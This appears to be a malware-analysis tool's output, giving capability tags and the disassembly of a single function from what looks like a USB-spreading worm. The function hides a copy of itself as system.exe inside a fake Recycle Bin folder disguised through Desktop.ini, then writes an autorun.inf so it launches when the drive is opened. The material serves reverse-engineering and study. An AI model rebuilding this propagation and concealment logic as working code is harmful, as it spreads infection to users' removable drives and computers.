Function at 0x40294e
Capabilities:
Copy file
Create directory
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x510
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x50c], eax
mov edx, dword [esp + 0x514]
mov ecx, 0x200
push ebx
xor ebx, ebx
mov dword [esp + 4], edx
push ebp
mov eax, ebx
push esi
push edi
cmp eax, ecx
jae 0x402d89
mov byte [esp + eax + 0x18], bl
inc eax
cmp eax, ecx
jb 0x402982
mov eax, ebx
cmp eax, ecx
jae 0x402d89
mov byte [esp + eax + 0x218], bl
inc eax
cmp eax, ecx
jb 0x402995
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4029a3
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4029b1
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.RECYCLER
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4029ce
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4029dc
mov ecx, edx
mov ebp, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
shr ecx, 2
lea eax, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402a17
call ebx
cmp eax, 0xb7
jne 0x402b1c
push 7
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, str.S_1_6_21_2434476501_1644491937_600003330_1213
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402a2b
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402a39
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
test eax, eax
jne 0x402a69
call ebx
cmp eax, 0xb7
jne 0x402b1c
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x18]
push 7
push eax
call ebx
mov ebp, str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
mov edx, ebp
mov esi, ebp
mov al, byte [edx]
inc edx
test al, al
jne 0x402a81
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402a92
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.Desktop.ini
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402aaf
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402abd
mov ecx, edx
xor eax, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push 6
push 2
push eax
push eax
mov ecx, edx
lea eax, [esp + 0x2c]
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 1
jb 0x402b1c
mov ecx, ebp
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402af8
push 0
lea eax, [esp + 0x18]
sub ecx, edx
push eax
push ecx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x402b38
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x51c]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
inc eax
call fcn.004031cd
add esp, 0x510
ret
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebp
lea ecx, [esp + 0x18]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402b47
sub ecx, edx
lea eax, [esp + 0x18]
add eax, ecx
jmp 0x402b59
dec eax
cmp byte [eax], 0x5c
jne 0x402b58
mov edx, str.system.exe
mov byte [eax + 1], 0
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402b69
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402b77
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 1
mov ecx, edx
push eax
and ecx, 3
lea eax, [esp + 0x420]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 7
lea eax, [esp + 0x1c]
push eax
call ebx
xor eax, eax
mov ecx, 0x200
cmp eax, ecx
jae 0x402d89
mov byte [esp + eax + 0x218], 0
inc eax
cmp eax, ecx
jb 0x402bba
cmp byte [esp + 0x18], 0x5c
lea edx, [esp + 0x18]
je 0x402bd8
inc edx
cmp byte [edx], 0x5c
jne 0x402bd2
mov ebx, str._autorun__r_nopen
inc edx
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402be0
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402bf1
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402c0b
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402c1c
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, str._r_nicon_SystemRoot__system32SHELL32.dll_4_r_nactionOpen_folder_to_view_files_r_nshellopenOpen_r_nshellopencommand
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402c39
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402c4a
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402c62
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402c73
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str._r_nshellopendefault1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402c90
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402ca1
mov ecx, edx
xor ebx, ebx
shr ecx, 2
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x200
cmp eax, ecx
jae 0x402d89
mov byte [esp + eax + 0x18], bl
inc eax
cmp eax, ecx
jb 0x402cc8
mov edx, dword [esp + 0x10]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402cd7
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402ce5
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str._autorun.inf
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402d02
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402d10
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 7
push 2
push ebx
push ebx
push 0x40000000
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 1
jb 0x402b1c
lea ecx, [esp + 0x218]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402d62
push ebx
lea eax, [esp + 0x18]
sub ecx, edx
push eax
push ecx
lea eax, [esp + 0x224]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call ebp
jmp 0x402b1c
call fcn.004032fd
int3